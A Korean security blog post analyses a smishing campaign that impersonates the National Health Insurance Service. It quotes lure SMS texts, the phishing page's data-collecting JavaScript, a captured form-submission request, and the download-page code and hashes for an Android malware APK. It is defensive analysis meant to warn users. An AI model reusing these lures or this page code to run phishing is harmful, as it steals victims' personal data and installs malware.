꿈을꾸는 파랑새

오늘은 국민건강보험 공단 피싱 사이트 스미싱 사이트인 yhwgacc(.)lol(2023.9.23)에 대해 글을 적어 보겠습니다. 해당 사이트는 피싱(Phising) 사이트 입니다.
일단 예전에는 윈도우 환경에서 들어오면 해당 사이트를 국민건강보험으로 넘겨지고 사파리 즉 iOS 인 애플 아이폰 등도 마찬가지였지만 지금은 어느 환경에서 사용해서 접속해도 해당 피싱 사이트는 접속이 이루어집니다.
안드로이드이고 컴퓨터이고 애플 아이폰이든 접속을 하고 파일을 다운로드 할 수가 있지만, 악성코드는 안드로이드 스마트폰 사용자를 노리는 사이트입니다. 물론 해당 애플 아이폰 사용자 분들은 악성코드는 설치할 수가 없지만, 전화번호를 입력하면 다른 전화금융사기를 통해서 피해가 우려될 수도 있습니다.
예전에는 KMI 한국의학연구소로 넘겨 버렸는데 이제는 진짜 국민건강보험공단으로 날려 버립니다.
일단은 해당 사이트에 인증서는 없어서 금방 피싱(Phising) 이라는 것을 눈치를 챌 수가 있을 것입니다.
일단 해당 피싱 사이트들은 뭐라고 할까? 주말이나 공휴일에 자주 유포되는 것 같습니다.

국민건강보험 피싱 사이트 및 진짜 국민건강보험 사이트 비교
국민건강보험 피싱 사이트 및 진짜 국민건강보험 사이트 비교

유포 문자 내용

[Web발신]보험 국민건강 통보문 전달완료부탁합니다
[Web발신]건강검사보험 통보문 전달완료
[Web발신]보험 국민건강 통보문 전달완료부탁합니다
[Web발신]건강검사보험 통보문 전달완료
[Web발신]국민건강 검진통진서 자세한 내용 확인

이고 아니면 다른 문자 방식

부고 알림

부모님께서 별세 하셨기에 아래와 같이 부고를 전해 드립니다.장례식장
부모님 마지막 가시는길 외롭지 않게 부디 오셔서 참석하여주세요.
[Web발신][부고]18일 저녁 10시경 부친께서 별세하셨습니다. 안내 
[Web발신][부고]23일 저녁 12시경 귀하의 조부께서 별세하셨습니다.안내

저기서 날짜는 하고 시간은 변경될 것입니다. 진짜 부고 알림 일 경우 속을 수가 있을 수가 있으니 주의하시길 바랍니다.

유포 사이트

http://yhwgacc(.)lol/

국민건강보험 피싱 사이트 이름 및 생년월일 입력
국민건강보험 피싱 사이트 이름 및 생년월일 입력

도메인들은lol.xyz 등과 같을 사용을 하면 일부 같은 경우에는 Malware Zero(멀웨어제로)같은 경우에는 xyz 를 사용을 하고 있지만, 해당 부분은 진짜 ViOLeT 님이 운영하시는 것이기 때문에 혼동을 피해야 합니다. 즉 xyz 라고 다 피싱,스미싱 사이트는 아니라는 것입니다.
https를 사용하는 때도 있어서 조심해야 합니다.
기본적인 피싱 방법은 간단합니다. 먼저 해당 사이트에 접속하면 묻지도 않고 그냥 전화번호를 입력을 요구합니다.
그리고 조회를 입력하면 다음과 같이 이름, 생년월일을 입력하라고 합니다. 해당 방법은 몇 년이 지나도 똑같은 느낌이 드네요.
그리고 진짜 국민건강보험공단은 이제 다가오는 한가위 추석이라서 메인 화면이 바뀐 것을 확인할 수가 있지만 피싱 사이트는 해당 부분에 대응하지 않기 때문에 그냥 너의 전화번호를 원한다는 부분이 보일 것입니다.
여기서 생년월일을 잘못 입력하면 다음과 같은 화면을 볼 수가 있는데 보면 한국어가 이상한 것을 확인할 수가 있습니다.
생년월일을 정화하게 입력하세요.

이것을 확인하기 위해서 common(.)js를 열어보면 됩니다.

function gourl(o(,)n){n?window.open(o):window.location.href=o}function
form_Search(){var o=/^\d{4}$/,
n=document(.)location.hostname,e=$("input[name='mobile_no1']").
val()+$("input[name='mobile_no2']").val()(+)$("input[name='mobile_no3']")
.val();return) o.test($("input[name='mobile_no2']").val())?o
.test($("input[name='mobile_no3']").val())?void $.ajax({url:"/XmsWeb/ConfirmPh(o)neNo"
,type:"POST",dataType:"json",timeout:15e3,data:{phoneNo:e,domain:n}
,success:function(o){localStorage.phone=e,gourl("/info.html")}
,error:function(){alert("네트워크가 비정상입니다. 네트워크를 확인하십시오.")}})
:(alert("핸드폰 번호를 입력하시고 건강검진서를 확인해주세요.")
,void $("input[name='mobile_no3']")
.focus()):(alert("핸드폰 번호를 입력하시고 건강검진서를 확인해주세요.")
,void $("input[name='mobile_no2']").focus())}function finish()
{var o=/^\d{6}$/,n=$("input[name='name']").val(),e=$("input[name='birth']")
.val();return n.length<2||
n.length>5?(alert("실명 입력이 필요 합니다."),void $("input[name='name']")
.focus()):o.test(e)?void $.ajax({url:"/(X)msWeb/Submit",type:"POST",dataType:"json"
,timeout:15e3,data:{phoneNo:localStorage.phone,name:n,birth:e}
,success:function(o){1==o.Status?gourl("/finish.html"):alert(o(.)Message)}
,error:function(){alert("네트워크가 비정상입니다. 네트워크를 확인하십시오.")}})
:(alert("생년월일을 정화하게 입력하세요."),void $("input[name='birth']")
.focus())}function browse(){$.ajax({url:"/XmsWeb(/)Confirm",type:"POST",dataType:
"json",timeout:15e3,data:{domain:window.location(.)hostname},success:function(){}
,error:function(){}})}function click_download(){$.ajax({type:"POST"
,url:"/XmsWeb(/)Download",data:{domain:window.location.hostname}
,success:function(){},error:function(){}})}localStorage.phone||(localStorage.phone="010");

설명

해당 JavaScript 코드는 웹 페이지에서 전화번호 유효성 검사와 양식 제출을 처리하는 기능
1. gourl(o, n): 해당 함수는 n 매개변수에 따라 새 창 (window.open)을 열거나 현재 창의 위치 (window.location.href)를 변경하는 데 사용됩니다. 주로 탐색 목적으로 사용
2. form_Search(): 해당 함수는 양식 제출을 처리
양식 필드에 입력된 전화번호의 유효성을 확인하고 전화번호 및 도메인을 포함하여 서버 엔드포인트(/XmsWeb(/)ConfirmPhoneNo)로 AJAX 요청을 보냅니다.
전화번호가 유효하면 localStorage에 저장하고 /info(.)html로 리디렉션
오류가 발생하거나 전화번호가 유효하지 않았으면 오류 메시지를 표시
3. finish(): 해당 함수는 이름과 생년월일 필드가 있는 다른 양식의 제출을 처리
이름과 생년월일의 유효성을 확인하고 저장된 전화번호, 이름 및 생년월일을 포함하여 /XmsWeb(/)Submit으로 AJAX 요청을 보냅니다.
성공하면 /finish(.) HTML로 리디렉션
오류가 발생하거나 입력이 유효하지 않았으면 오류 메시지를 표시
4. browse():해당 함수는 현재 웹 사이트의 도메인 이름(hostname)을 사용하여 /XmsWeb(/)Confirm로 AJAX 요청을 보냄
5. click_download(): 해당 함수는 현재 웹 사이트의 도메인 이름(hostname)을 사용하여 /XmsWeb(/)Download 로 AJAX 요청을 보냄
코드의 끝에서, localStorage.phone을 010으로 초기화
그리고 악성코드를 다운로드 위한 작업을 한 피싱 사이트로 이동을 합니다.
그리고 안에서 볼 수가 있는 내용은 다음과 같습니다.

국민건강보험 피싱 사이트 APK 악성코드 다운로드
국민건강보험 피싱 사이트 APK 악성코드 다운로드

The건강보험
어플을 다운로드후에 설치를 누르시면 권한혀용이 뜹니다. 허용을 해주시면 어플설치할수 있습니다.
Play프로젝트에 의해 차단됨이라는 글이 나올 시에는 밑에 무시하고 설치를 누르시면 됩니다.
설치방법다운로드에->설치->어플을찾아서 더블클릭 (또는 클릭) 하여 설치할 수 있습니다.
*금년도 검진대상이 확인된 분은 신분증을 지참하고 검진기관에 방문하셔도 검진할 수 있습니다.
검진표를 분실하거나 수령치 못하였으면 1577-1000번이나 가까운 지사에 신청하시면 검진대상자 확인서를 발급해 드립니다.
다운로드 하기
가 표시가 돼 있으며 여기서 자신이 입력한 전화번호를 통해서 악성코드가 다운로드가 되면 apk 파일을 설치하라고 유도를 합니다.
더 자세하게 보고 싶으며 HTTP Debugger Pro로면 답이 나옵니다.

이름 및 생년월일 수집 주소

http://yhwgacc(.)lol/XmsWeb/Submit

HTTP Debugger Pro 로 개인정보 입력 내용
HTTP Debugger Pro 로 개인정보 입력 내용

이며 Raw 값은 다음과 같습니다.

POST /Xm(s)Web/Submit HTTP/1.1
Host: yhwgacc(.)lol
User-Agent: Mozilla/5.0 (Linux; Android 13; SAMSUNG SM-S918N) AppleWebKit/537.36
(KHTML, like Gecko)
SamsungBrowser/22.0.3.1 Chrome/117.0.0.0 Mobile Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3
Prefer: safe
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Origin: http://yhwgacc(.)lol
DNT: 1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Content-Length: 74

phoneNo=01018181818&name=%EB%A9%B8%EA%B3%B5%ED%86%B5%EC%9D%BC&birth=571027

HTTP Debugger Pro 개인정보 입력 Raw 값
HTTP Debugger Pro 개인정보 입력 Raw 값

그리고 최종적으로 apk 파일 다운로드 하는 사이트의 웹 소스는 다음과 같습니다.

<script type="text/javascript" src="static/js/jquery(.)js"></script>
		<script type="text/javascript" src="static/js/common.min(.)js"></script>
		<script type="text/javascript">
			$(function () {
				$('#complate').attr('download', localStorage.phone (+) '.apk');
			});
		</script>

악성코드 다운로드 페이지 웹소스
악성코드 다운로드 페이지 웹소스

코드 설명

1.<span class="math-inline">\(function \(\) \{\:DOM이 로드되면 실행될 함수를 정의
해당 부분은 DOM이 로드되면 `('#complate').attr('download', localStorage.phone (+) '.apk');` 코드가 실행되도록 합니다.
2.<span class="math-inline">\('\#complate'\)\.attr\('download', localStorage\.phone \(+) '\.apk'\);\:`#complate` 요소의 `download` 속성을 localStorage에 저장된 `phone` 값에 `.apk` 확장자를 추가한 값으로 설정
해당 부분은 `#complate` 요소의 `download` 속성을 `localStorage`에 저장된 `phone` 값에 `.apk` 확장자를 추가한 값으로 설정
`#complate` 요소의 `download` 속성은 다운로드할 파일의 이름을 지정하는 데 사용이 되므로 해당 코드를 실행하면 `#complate` 요소의 `download` 속성이 `localStorage`에 저장된 휴대폰 번호에 `.apk` 확장자를 추가한 값으로 설정됩니다.
예시)localStorage`에 `phone` 키에 "010-1234-5678"이 저장되어 있으면 `#complate` 요소의 `download` 속성은 `010-1234-5678.apk`로 설정이 되어서 apk 파일을 다운로드 합니다.
3.`static/js/jquery(.)js` 및 `static/js/common.min(.)js` 파일을 HTML 페이지에 포함
해당 두 파일은 `('#complate').attr('download', localStorage.phone + '.apk');` 코드를 실행하는 데 필요

악성코드 해쉬값
파일명:1235678901.apk
사이즈:3.36 MB
CRC32:4c876a30
MD5:670fbd36ddfc9b3727aea1816ecfc2e5
SHA-1:352908d80b9f3b016293fec78335f342cd1e6ff0
SHA-256:1172093b1b52b8f148535854472e5a6c91dbe900ff82f08d7f9ac736caf66e99
일단 해당 악성코드는 AhnLab-V3,Avast-Mobile,DrWeb,ESET-NOD32,Fortinet,Google,Ikarus,Kaspersky,Microsoft,ZoneAlarm by Check Point 에서는 탐지하고 있으며 앞으로 더 탐지할 것으로 생각됩니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band